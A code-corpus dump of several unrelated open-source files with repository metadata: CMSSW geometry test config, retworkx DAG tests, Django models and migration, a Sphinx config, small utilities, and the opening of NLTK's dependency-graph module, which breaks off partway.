appendToDataLabel = cms.string('MTD') ) process.DDSpecParRegistryESProducer = cms.ESProducer("DDSpecParRegistryESProducer", appendToDataLabel = cms.string('MTD') ) process.testBTL = cms.EDAnalyzer("DD4hep_TestMTDIdealGeometry", DDDetector = cms.ESInputTag('','MTD'), ddTopNodeName = cms.untracked.string('BarrelTimingLayer'), theLayout = cms.untracked.uint32(4) ) process.testETL = cms.EDAnalyzer("DD4hep_TestMTDIdealGeometry", DDDetector = cms.ESInputTag('','MTD'), ddTopNodeName = cms.untracked.string('EndcapTimingLayer'), theLayout = cms.untracked.uint32(4) ) process.Timing = cms.Service("Timing") process.p1 = cms.Path(process.testBTL+process.testETL)

38.952941

140

0.534884

import FWCore.ParameterSet.Config as cms process = cms.Process("CompareGeometryTest") process.source = cms.Source("EmptySource") process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1) ) process.MessageLogger = cms.Service( "MessageLogger", statistics = cms.untracked.vstring('cout'), categories = cms.untracked.vstring('MTDUnitTest', 'DD4hep_TestMTDIdealGeometry', 'DD4hep_TestMTDPath', 'DD4hep_TestMTDNumbering', 'DD4hep_TestMTDPosition'), cout = cms.untracked.PSet( threshold = cms.untracked.string('INFO'), INFO = cms.untracked.PSet( limit = cms.untracked.int32(0) ), DD4hep_TestMTDIdealGeometry = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), DD4hep_TestMTDPath = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), DD4hep_TestMTDNumbering = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), DD4hep_TestMTDPosition = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), noLineBreaks = cms.untracked.bool(True) ), mtdCommonDataDD4hep = cms.untracked.PSet( INFO = cms.untracked.PSet( limit = cms.untracked.int32(0) ), noLineBreaks = cms.untracked.bool(True), DEBUG = cms.untracked.PSet( limit = cms.untracked.int32(0) ), WARNING = cms.untracked.PSet( limit = cms.untracked.int32(0) ), ERROR = cms.untracked.PSet( limit = cms.untracked.int32(0) ), threshold = cms.untracked.string('INFO'), MTDUnitTest = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), ), destinations = cms.untracked.vstring('cout', 'mtdCommonDataDD4hep') ) process.DDDetectorESProducer = cms.ESSource("DDDetectorESProducer", confGeomXMLFiles = cms.FileInPath('Geometry/MTDCommonData/data/dd4hep/cms-mtdD50-geometry.xml'), appendToDataLabel = cms.string('MTD') ) process.DDSpecParRegistryESProducer = cms.ESProducer("DDSpecParRegistryESProducer", appendToDataLabel = cms.string('MTD') ) process.testBTL = cms.EDAnalyzer("DD4hep_TestMTDIdealGeometry", DDDetector = cms.ESInputTag('','MTD'), ddTopNodeName = cms.untracked.string('BarrelTimingLayer'), theLayout = cms.untracked.uint32(4) ) process.testETL = cms.EDAnalyzer("DD4hep_TestMTDIdealGeometry", DDDetector = cms.ESInputTag('','MTD'), ddTopNodeName = cms.untracked.string('EndcapTimingLayer'), theLayout = cms.untracked.uint32(4) ) process.Timing = cms.Service("Timing") process.p1 = cms.Path(process.testBTL+process.testETL)

true

f71002071aa31f475e86d1779639faaa7bdb84e1

2,371

py

Python

tests/digraph/test_depth.py

georgios-ts/retworkx

8efe47c8ffaa2bdf1730ad50ada389bf9ca15229

[ "Apache-2.0" ]

null

tests/digraph/test_depth.py

georgios-ts/retworkx

8efe47c8ffaa2bdf1730ad50ada389bf9ca15229

[ "Apache-2.0" ]

null

tests/digraph/test_depth.py

georgios-ts/retworkx

8efe47c8ffaa2bdf1730ad50ada389bf9ca15229

[ "Apache-2.0" ]

null

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import unittest import retworkx class TestLongestPath(unittest.TestCase): def test_linear(self): """Longest depth for a simple dag. a | b |\ c d |\ e | | | f g """ dag = retworkx.PyDAG() node_a = dag.add_node("a") node_b = dag.add_child(node_a, "b", {}) node_c = dag.add_child(node_b, "c", {}) dag.add_child(node_b, "d", {}) node_e = dag.add_child(node_c, "e", {}) node_f = dag.add_child(node_e, "f", {}) dag.add_child(node_c, "g", {}) self.assertEqual(4, retworkx.dag_longest_path_length(dag)) self.assertEqual( [node_a, node_b, node_c, node_e, node_f], retworkx.dag_longest_path(dag), ) def test_less_linear(self): dag = retworkx.PyDAG() node_a = dag.add_node("a") node_b = dag.add_child(node_a, "b", {}) node_c = dag.add_child(node_b, "c", {}) node_d = dag.add_child(node_c, "d", {}) node_e = dag.add_child(node_d, "e", {}) dag.add_edge(node_a, node_c, {}) dag.add_edge(node_a, node_e, {}) dag.add_edge(node_c, node_e, {}) self.assertEqual(4, retworkx.dag_longest_path_length(dag)) self.assertEqual( [node_a, node_b, node_c, node_d, node_e], retworkx.dag_longest_path(dag), ) def test_degenerate_graph(self): dag = retworkx.PyDAG() dag.add_node(0) self.assertEqual(0, retworkx.dag_longest_path_length(dag)) self.assertEqual([0], retworkx.dag_longest_path(dag)) def test_empty_graph(self): dag = retworkx.PyDAG() self.assertEqual(0, retworkx.dag_longest_path_length(dag)) self.assertEqual([], retworkx.dag_longest_path(dag))

32.930556

75

0.6124

import unittest import retworkx class TestLongestPath(unittest.TestCase): def test_linear(self): dag = retworkx.PyDAG() node_a = dag.add_node("a") node_b = dag.add_child(node_a, "b", {}) node_c = dag.add_child(node_b, "c", {}) dag.add_child(node_b, "d", {}) node_e = dag.add_child(node_c, "e", {}) node_f = dag.add_child(node_e, "f", {}) dag.add_child(node_c, "g", {}) self.assertEqual(4, retworkx.dag_longest_path_length(dag)) self.assertEqual( [node_a, node_b, node_c, node_e, node_f], retworkx.dag_longest_path(dag), ) def test_less_linear(self): dag = retworkx.PyDAG() node_a = dag.add_node("a") node_b = dag.add_child(node_a, "b", {}) node_c = dag.add_child(node_b, "c", {}) node_d = dag.add_child(node_c, "d", {}) node_e = dag.add_child(node_d, "e", {}) dag.add_edge(node_a, node_c, {}) dag.add_edge(node_a, node_e, {}) dag.add_edge(node_c, node_e, {}) self.assertEqual(4, retworkx.dag_longest_path_length(dag)) self.assertEqual( [node_a, node_b, node_c, node_d, node_e], retworkx.dag_longest_path(dag), ) def test_degenerate_graph(self): dag = retworkx.PyDAG() dag.add_node(0) self.assertEqual(0, retworkx.dag_longest_path_length(dag)) self.assertEqual([0], retworkx.dag_longest_path(dag)) def test_empty_graph(self): dag = retworkx.PyDAG() self.assertEqual(0, retworkx.dag_longest_path_length(dag)) self.assertEqual([], retworkx.dag_longest_path(dag))

true

f710059dee719252061de77a44f95f80a232bbe1

482

py

Python

mmcap/utils/logger.py

hnp0411/mmcaptioning

47bcdee3734cdaaa96a34e927cdec5cc43cab538

[ "Apache-2.0" ]

null

mmcap/utils/logger.py

hnp0411/mmcaptioning

47bcdee3734cdaaa96a34e927cdec5cc43cab538

[ "Apache-2.0" ]

null

mmcap/utils/logger.py

hnp0411/mmcaptioning

47bcdee3734cdaaa96a34e927cdec5cc43cab538

[ "Apache-2.0" ]

null

import logging from mmcv.utils import get_logger def get_root_logger(log_file=None, log_level=logging.INFO): """Get root logger. Args: log_file (str, optional): File path of log. Defaults to None. log_level (int, optional): The level of logger. Defaults to logging.INFO. Returns: :obj:`logging.Logger`: The obtained logger """ logger = get_logger(name='mmcap', log_file=log_file, log_level=log_level) return logger

22.952381

77

0.670124

import logging from mmcv.utils import get_logger def get_root_logger(log_file=None, log_level=logging.INFO): logger = get_logger(name='mmcap', log_file=log_file, log_level=log_level) return logger

true

f71006b40f042b75b7b313be0ca71bb1ccf5d8ae

191

py

Python

automated/__init__.py

gabrielfern/automated-leda-tasks

b50bb14d118d64ad7361b5eb8bee9cf248bc57cf

[ "MIT" ]

9

2017-07-26T19:10:12.000Z

2018-04-25T02:27:09.000Z

automated/__init__.py

gabrielfern/automated-leda-tasks

b50bb14d118d64ad7361b5eb8bee9cf248bc57cf

[ "MIT" ]

3

2017-08-02T23:32:28.000Z

2018-10-13T00:08:54.000Z

automated/__init__.py

hericlesme/automated-leda-tasks

f0759d310636d281789f05bac7c9c624b75ab0e5

[ "MIT" ]

1

2018-05-24T23:55:31.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- # Gabriel Fernandes <gabrielfernndss@gmail.com> # Héricles Emanuel <hericles.me@gmail.com> if __name__ == '__main__': print('easter_egg!')

21.222222

47

0.680628

if __name__ == '__main__': print('easter_egg!')

true

f710076e41e510dc6c2d749b607b512d2e7db9c3

1,706

py

Python

passgen/models.py

diyajaiswal11/HackCorona

dc6f7803a77b7ce6325f8d61f5f4fe54076ea461

[ "MIT" ]

7

2020-04-06T13:00:14.000Z

2021-08-07T04:26:53.000Z

passgen/models.py

diyajaiswal11/HackCorona

dc6f7803a77b7ce6325f8d61f5f4fe54076ea461

[ "MIT" ]

10

2020-04-07T07:07:44.000Z

2022-03-12T00:22:47.000Z

passgen/models.py

diyajaiswal11/HackCorona

dc6f7803a77b7ce6325f8d61f5f4fe54076ea461

[ "MIT" ]

2

2020-04-03T08:36:34.000Z

2021-07-27T19:22:15.000Z

from django.db import models from django.utils import timezone category_choices = ( ("Essential Services Pass", "Essential Services Pass"), ("Emergency Services Pass", "Emergency Services Pass"), ) subcategory_choices = ( ("ATM/Banking", "ATM/Banking"), ("Delivery Worker", "Delivery Worker"), ("Fruit/Vegetable Vendor","Fruit/Vegetable Vendor"), ("Govt Officials","Govt Officials"), ("Grocery Vendor","Grocery Vendor"), ("Milk Vendor","Milk Vendor"), ("Health Worker","Health Worker"), ("IT/Tele Communication","IT/Tele Communication"), ("Municipal Services","Municipal Services"), ("Power/Electricity","Power/Electricity"), ("Sanitation","Sanitation"), ("Businessman","Businessman"), ) # Create your models here. class PassModel(models.Model): district=models.CharField(max_length=20,null=True) name=models.CharField(max_length=200,null=True) email=models.CharField(max_length=200,null=True) vehiclenumber=models.CharField(max_length=200,null=True) phonenumber=models.CharField(max_length=10,null=True) aadharcardnumber=models.CharField(max_length=12,null=True) address=models.CharField(max_length=200,null=True) reason=models.CharField(max_length=200,null=True) issuedate=models.DateTimeField(default=timezone.now) passcategory=models.CharField(max_length=30,choices = category_choices) subcategory=models.CharField(max_length=30,choices = subcategory_choices) attachphoto=models.ImageField(upload_to='profile_pics') attachidproof=models.ImageField(upload_to='id_proof') uniquenumber=models.CharField(max_length=10000,default=201301) checked=models.BooleanField(default=0)

41.609756

78

0.736225

from django.db import models from django.utils import timezone category_choices = ( ("Essential Services Pass", "Essential Services Pass"), ("Emergency Services Pass", "Emergency Services Pass"), ) subcategory_choices = ( ("ATM/Banking", "ATM/Banking"), ("Delivery Worker", "Delivery Worker"), ("Fruit/Vegetable Vendor","Fruit/Vegetable Vendor"), ("Govt Officials","Govt Officials"), ("Grocery Vendor","Grocery Vendor"), ("Milk Vendor","Milk Vendor"), ("Health Worker","Health Worker"), ("IT/Tele Communication","IT/Tele Communication"), ("Municipal Services","Municipal Services"), ("Power/Electricity","Power/Electricity"), ("Sanitation","Sanitation"), ("Businessman","Businessman"), ) class PassModel(models.Model): district=models.CharField(max_length=20,null=True) name=models.CharField(max_length=200,null=True) email=models.CharField(max_length=200,null=True) vehiclenumber=models.CharField(max_length=200,null=True) phonenumber=models.CharField(max_length=10,null=True) aadharcardnumber=models.CharField(max_length=12,null=True) address=models.CharField(max_length=200,null=True) reason=models.CharField(max_length=200,null=True) issuedate=models.DateTimeField(default=timezone.now) passcategory=models.CharField(max_length=30,choices = category_choices) subcategory=models.CharField(max_length=30,choices = subcategory_choices) attachphoto=models.ImageField(upload_to='profile_pics') attachidproof=models.ImageField(upload_to='id_proof') uniquenumber=models.CharField(max_length=10000,default=201301) checked=models.BooleanField(default=0)

true

f71008c40263271753ec152fe0f9a5a57343a4fd

6,627

py

Python

docs/conf.py

scipp/scippnexus

978b3b671355f55f94eb9d79f2ffe5cf793605ba

[ "BSD-3-Clause" ]

null

docs/conf.py

scipp/scippnexus

978b3b671355f55f94eb9d79f2ffe5cf793605ba

[ "BSD-3-Clause" ]

null

docs/conf.py

scipp/scippnexus

978b3b671355f55f94eb9d79f2ffe5cf793605ba

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- import doctest from datetime import date import scippnexus html_show_sourcelink = True extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.autosummary', 'sphinx.ext.doctest', 'sphinx.ext.intersphinx', 'sphinx.ext.mathjax', 'sphinx.ext.napoleon', 'sphinx_autodoc_typehints', 'sphinx_copybutton', 'nbsphinx', ] autodoc_type_aliases = { 'VariableLike': 'VariableLike', 'MetaDataMap': 'MetaDataMap', 'array_like': 'array_like', } rst_epilog = f""" .. |SCIPP_RELEASE_MONTH| replace:: {date.today().strftime("%B %Y")} .. |SCIPP_VERSION| replace:: {scippnexus.__version__} """ # noqa: E501 intersphinx_mapping = { 'python': ('https://docs.python.org/3', None), 'numpy': ('https://numpy.org/doc/stable/', None), 'scipp': ('https://scipp.github.io/', None), 'scipy': ('https://docs.scipy.org/doc/scipy/', None), 'xarray': ('https://xarray.pydata.org/en/stable/', None) } # autodocs includes everything, even irrelevant API internals. autosummary # looks more suitable in the long run when the API grows. # For a nice example see how xarray handles its API documentation. autosummary_generate = True napoleon_google_docstring = False napoleon_numpy_docstring = True napoleon_use_param = True napoleon_use_rtype = False napoleon_preprocess_types = True napoleon_type_aliases = { # objects without namespace: scipp "DataArray": "~scipp.DataArray", "Dataset": "~scipp.Dataset", "Variable": "~scipp.Variable", # objects without namespace: numpy "ndarray": "~numpy.ndarray", } typehints_defaults = 'comma' typehints_use_rtype = False # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' html_sourcelink_suffix = '' # Avoid .ipynb.txt extensions in sources # The master toctree document. master_doc = 'index' # General information about the project. project = u'scippnexus' copyright = u'2022 Scipp contributors' author = u'Scipp contributors' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = u'' # The full version, including alpha/beta/rc tags. release = u'' warning_is_error = True # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store', '**.ipynb_checkpoints'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'sphinx_book_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # html_theme_options = { "logo_only": True, "repository_url": "https://github.com/scipp/scippnexus", "repository_branch": "main", "path_to_docs": "docs", "use_repository_button": True, "use_issues_button": True, "use_edit_page_button": True, "show_toc_level": 2, # Show subheadings in secondary sidebar } html_logo = "_static/logo.png" html_favicon = "_static/favicon.ico" # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = 'scippnexusdoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'scipp.tex', u'scipp Documentation', u'Simon Heybrock', 'manual'), ] # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [(master_doc, 'scipp', u'scipp Documentation', [author], 1)] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'scipp', u'scipp Documentation', author, 'scipp', 'One line description of project.', 'Miscellaneous'), ] # -- Options for Matplotlib in notebooks ---------------------------------- nbsphinx_execute_arguments = [ "--Session.metadata=scipp_docs_build=True", ] # -- Options for doctest -------------------------------------------------- doctest_global_setup = ''' import numpy as np import scipp as sc ''' # Using normalize whitespace because many __str__ functions in scipp produce # extraneous empty lines and it would look strange to include them in the docs. doctest_default_flags = doctest.ELLIPSIS | doctest.IGNORE_EXCEPTION_DETAIL | \ doctest.DONT_ACCEPT_TRUE_FOR_1 | \ doctest.NORMALIZE_WHITESPACE # -- Options for linkcheck ------------------------------------------------ linkcheck_ignore = [ # Specific lines in Github blobs cannot be found by linkcheck. r'https?://github\.com/.*?/blob/[a-f0-9]+/.+?#', ]

31.407583

83

0.673306

import doctest from datetime import date import scippnexus html_show_sourcelink = True extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.autosummary', 'sphinx.ext.doctest', 'sphinx.ext.intersphinx', 'sphinx.ext.mathjax', 'sphinx.ext.napoleon', 'sphinx_autodoc_typehints', 'sphinx_copybutton', 'nbsphinx', ] autodoc_type_aliases = { 'VariableLike': 'VariableLike', 'MetaDataMap': 'MetaDataMap', 'array_like': 'array_like', } rst_epilog = f""" .. |SCIPP_RELEASE_MONTH| replace:: {date.today().strftime("%B %Y")} .. |SCIPP_VERSION| replace:: {scippnexus.__version__} """ intersphinx_mapping = { 'python': ('https://docs.python.org/3', None), 'numpy': ('https://numpy.org/doc/stable/', None), 'scipp': ('https://scipp.github.io/', None), 'scipy': ('https://docs.scipy.org/doc/scipy/', None), 'xarray': ('https://xarray.pydata.org/en/stable/', None) } autosummary_generate = True napoleon_google_docstring = False napoleon_numpy_docstring = True napoleon_use_param = True napoleon_use_rtype = False napoleon_preprocess_types = True napoleon_type_aliases = { "DataArray": "~scipp.DataArray", "Dataset": "~scipp.Dataset", "Variable": "~scipp.Variable", "ndarray": "~numpy.ndarray", } typehints_defaults = 'comma' typehints_use_rtype = False templates_path = ['_templates'] source_suffix = '.rst' html_sourcelink_suffix = '' master_doc = 'index' project = u'scippnexus' copyright = u'2022 Scipp contributors' author = u'Scipp contributors' # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = u'' # The full version, including alpha/beta/rc tags. release = u'' warning_is_error = True # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store', '**.ipynb_checkpoints'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'sphinx_book_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # html_theme_options = { "logo_only": True, "repository_url": "https://github.com/scipp/scippnexus", "repository_branch": "main", "path_to_docs": "docs", "use_repository_button": True, "use_issues_button": True, "use_edit_page_button": True, "show_toc_level": 2, # Show subheadings in secondary sidebar } html_logo = "_static/logo.png" html_favicon = "_static/favicon.ico" # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = 'scippnexusdoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'scipp.tex', u'scipp Documentation', u'Simon Heybrock', 'manual'), ] # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [(master_doc, 'scipp', u'scipp Documentation', [author], 1)] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'scipp', u'scipp Documentation', author, 'scipp', 'One line description of project.', 'Miscellaneous'), ] # -- Options for Matplotlib in notebooks ---------------------------------- nbsphinx_execute_arguments = [ "--Session.metadata=scipp_docs_build=True", ] # -- Options for doctest -------------------------------------------------- doctest_global_setup = ''' import numpy as np import scipp as sc ''' # Using normalize whitespace because many __str__ functions in scipp produce # extraneous empty lines and it would look strange to include them in the docs. doctest_default_flags = doctest.ELLIPSIS | doctest.IGNORE_EXCEPTION_DETAIL | \ doctest.DONT_ACCEPT_TRUE_FOR_1 | \ doctest.NORMALIZE_WHITESPACE # -- Options for linkcheck ------------------------------------------------ linkcheck_ignore = [ # Specific lines in Github blobs cannot be found by linkcheck. r'https?://github\.com/.*?/blob/[a-f0-9]+/.+? ]

true

f71008d441773617443f83aa63ba8084f8da41c4

603

py

Python

src/images/migrations/0002_image_thumbnail.py

thesus/bokstaever

e0a5e2614dd222ccd56a8945aba4fd28de85dd31

[ "MIT" ]

null

src/images/migrations/0002_image_thumbnail.py

thesus/bokstaever

e0a5e2614dd222ccd56a8945aba4fd28de85dd31

[ "MIT" ]

7

2019-11-18T16:11:01.000Z

2019-11-18T16:11:04.000Z

src/images/migrations/0002_image_thumbnail.py

thesus/bokstaever

e0a5e2614dd222ccd56a8945aba4fd28de85dd31

[ "MIT" ]

null

# Generated by Django 2.2 on 2019-04-18 13:14 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ("images", "0001_initial"), ] operations = [ migrations.AddField( model_name="image", name="thumbnail", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="container", to="images.ImageFile", ), ), ]

23.192308

60

0.543947

from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ("images", "0001_initial"), ] operations = [ migrations.AddField( model_name="image", name="thumbnail", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="container", to="images.ImageFile", ), ), ]

true

f7100a0d535f79b24ae402b1d9ef106e9e8e0f59

319

py

Python

000989letpy/letpy_064_str_len_20200511.py

SafonovMikhail/python_000577

739f764e80f1ca354386f00b8e9db1df8c96531d

[ "Apache-2.0" ]

null

000989letpy/letpy_064_str_len_20200511.py

SafonovMikhail/python_000577

739f764e80f1ca354386f00b8e9db1df8c96531d

[ "Apache-2.0" ]

null

000989letpy/letpy_064_str_len_20200511.py

SafonovMikhail/python_000577

739f764e80f1ca354386f00b8e9db1df8c96531d

[ "Apache-2.0" ]

null

string = input() string_length = len(string) print(string_length) string = input() if len(string) < 5: print("Ошибка! Введите больше пяти символов!") string = input() if not string: print("Ошибка! Введите хоть что-нибудь!") string = input() if len(string) == 0: print("Ошибка! Введите хоть что-нибудь!")

19.9375

50

0.680251

string = input() string_length = len(string) print(string_length) string = input() if len(string) < 5: print("Ошибка! Введите больше пяти символов!") string = input() if not string: print("Ошибка! Введите хоть что-нибудь!") string = input() if len(string) == 0: print("Ошибка! Введите хоть что-нибудь!")

true

f7100c11398d00d664ae324a7f7382af849d2c99

30,853

py

Python

nltk/parse/dependencygraph.py

Geolem/nltk

39b84d97bc857fce4fef185c69b94546b8474551

[ "Apache-2.0" ]

null

nltk/parse/dependencygraph.py

Geolem/nltk

39b84d97bc857fce4fef185c69b94546b8474551

[ "Apache-2.0" ]

null

nltk/parse/dependencygraph.py

Geolem/nltk

39b84d97bc857fce4fef185c69b94546b8474551

[ "Apache-2.0" ]

null

# Natural Language Toolkit: Dependency Grammars # # Copyright (C) 2001-2021 NLTK Project # Author: Jason Narad <jason.narad@gmail.com> # Steven Bird <stevenbird1@gmail.com> (modifications) # # URL: <http://nltk.org/> # For license information, see LICENSE.TXT # """ Tools for reading and writing dependency trees. The input is assumed to be in Malt-TAB format (http://stp.lingfil.uu.se/~nivre/research/MaltXML.html). """ from collections import defaultdict from itertools import chain from pprint import pformat import subprocess import warnings from nltk.tree import Tree ################################################################# # DependencyGraph Class ################################################################# class DependencyGraph: """ A container for the nodes and labelled edges of a dependency structure. """ def __init__( self, tree_str=None, cell_extractor=None, zero_based=False, cell_separator=None, top_relation_label="ROOT", ): """Dependency graph. We place a dummy `TOP` node with the index 0, since the root node is often assigned 0 as its head. This also means that the indexing of the nodes corresponds directly to the Malt-TAB format, which starts at 1. If zero-based is True, then Malt-TAB-like input with node numbers starting at 0 and the root node assigned -1 (as produced by, e.g., zpar). :param str cell_separator: the cell separator. If not provided, cells are split by whitespace. :param str top_relation_label: the label by which the top relation is identified, for examlple, `ROOT`, `null` or `TOP`. """ self.nodes = defaultdict( lambda: { "address": None, "word": None, "lemma": None, "ctag": None, "tag": None, "feats": None, "head": None, "deps": defaultdict(list), "rel": None, } ) self.nodes[0].update({"ctag": "TOP", "tag": "TOP", "address": 0}) self.root = None if tree_str: self._parse( tree_str, cell_extractor=cell_extractor, zero_based=zero_based, cell_separator=cell_separator, top_relation_label=top_relation_label, ) def remove_by_address(self, address): """ Removes the node with the given address. References to this node in others will still exist. """ del self.nodes[address] def redirect_arcs(self, originals, redirect): """ Redirects arcs to any of the nodes in the originals list to the redirect node address. """ for node in self.nodes.values(): new_deps = [] for dep in node["deps"]: if dep in originals: new_deps.append(redirect) else: new_deps.append(dep) node["deps"] = new_deps def add_arc(self, head_address, mod_address): """ Adds an arc from the node specified by head_address to the node specified by the mod address. """ relation = self.nodes[mod_address]["rel"] self.nodes[head_address]["deps"].setdefault(relation, []) self.nodes[head_address]["deps"][relation].append(mod_address) # self.nodes[head_address]['deps'].append(mod_address) def connect_graph(self): """ Fully connects all non-root nodes. All nodes are set to be dependents of the root node. """ for node1 in self.nodes.values(): for node2 in self.nodes.values(): if node1["address"] != node2["address"] and node2["rel"] != "TOP": relation = node2["rel"] node1["deps"].setdefault(relation, []) node1["deps"][relation].append(node2["address"]) # node1['deps'].append(node2['address']) def get_by_address(self, node_address): """Return the node with the given address.""" return self.nodes[node_address] def contains_address(self, node_address): """ Returns true if the graph contains a node with the given node address, false otherwise. """ return node_address in self.nodes def to_dot(self): """Return a dot representation suitable for using with Graphviz. >>> dg = DependencyGraph( ... 'John N 2\\n' ... 'loves V 0\\n' ... 'Mary N 2' ... ) >>> print(dg.to_dot()) digraph G{ edge [dir=forward] node [shape=plaintext] <BLANKLINE> 0 [label="0 (None)"] 0 -> 2 [label="ROOT"] 1 [label="1 (John)"] 2 [label="2 (loves)"] 2 -> 1 [label=""] 2 -> 3 [label=""] 3 [label="3 (Mary)"] } """ # Start the digraph specification s = "digraph G{\n" s += "edge [dir=forward]\n" s += "node [shape=plaintext]\n" # Draw the remaining nodes for node in sorted(self.nodes.values(), key=lambda v: v["address"]): s += '\n%s [label="%s (%s)"]' % ( node["address"], node["address"], node["word"], ) for rel, deps in node["deps"].items(): for dep in deps: if rel is not None: s += '\n%s -> %s [label="%s"]' % (node["address"], dep, rel) else: s += "\n%s -> %s " % (node["address"], dep) s += "\n}" return s def _repr_svg_(self): """Show SVG representation of the transducer (IPython magic). >>> dg = DependencyGraph( ... 'John N 2\\n' ... 'loves V 0\\n' ... 'Mary N 2' ... ) >>> dg._repr_svg_().split('\\n')[0] '<?xml version="1.0" encoding="UTF-8" standalone="no"?>' """ dot_string = self.to_dot() try: process = subprocess.Popen( ["dot", "-Tsvg"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True, ) except OSError as e: raise Exception("Cannot find the dot binary from Graphviz package") from e out, err = process.communicate(dot_string) if err: raise Exception( "Cannot create svg representation by running dot from string: {}" "".format(dot_string) ) return out def __str__(self): return pformat(self.nodes) def __repr__(self): return "<DependencyGraph with {0} nodes>".format(len(self.nodes)) @staticmethod def load( filename, zero_based=False, cell_separator=None, top_relation_label="ROOT" ): """ :param filename: a name of a file in Malt-TAB format :param zero_based: nodes in the input file are numbered starting from 0 rather than 1 (as produced by, e.g., zpar) :param str cell_separator: the cell separator. If not provided, cells are split by whitespace. :param str top_relation_label: the label by which the top relation is identified, for examlple, `ROOT`, `null` or `TOP`. :return: a list of DependencyGraphs """ with open(filename) as infile: return [ DependencyGraph( tree_str, zero_based=zero_based, cell_separator=cell_separator, top_relation_label=top_relation_label, ) for tree_str in infile.read().split("\n\n") ] def left_children(self, node_index): """ Returns the number of left children under the node specified by the given address. """ children = chain.from_iterable(self.nodes[node_index]["deps"].values()) index = self.nodes[node_index]["address"] return sum(1 for c in children if c < index) def right_children(self, node_index): """ Returns the number of right children under the node specified by the given address. """ children = chain.from_iterable(self.nodes[node_index]["deps"].values()) index = self.nodes[node_index]["address"] return sum(1 for c in children if c > index) def add_node(self, node): if not self.contains_address(node["address"]): self.nodes[node["address"]].update(node) def _parse( self, input_, cell_extractor=None, zero_based=False, cell_separator=None, top_relation_label="ROOT", ): """Parse a sentence. :param extractor: a function that given a tuple of cells 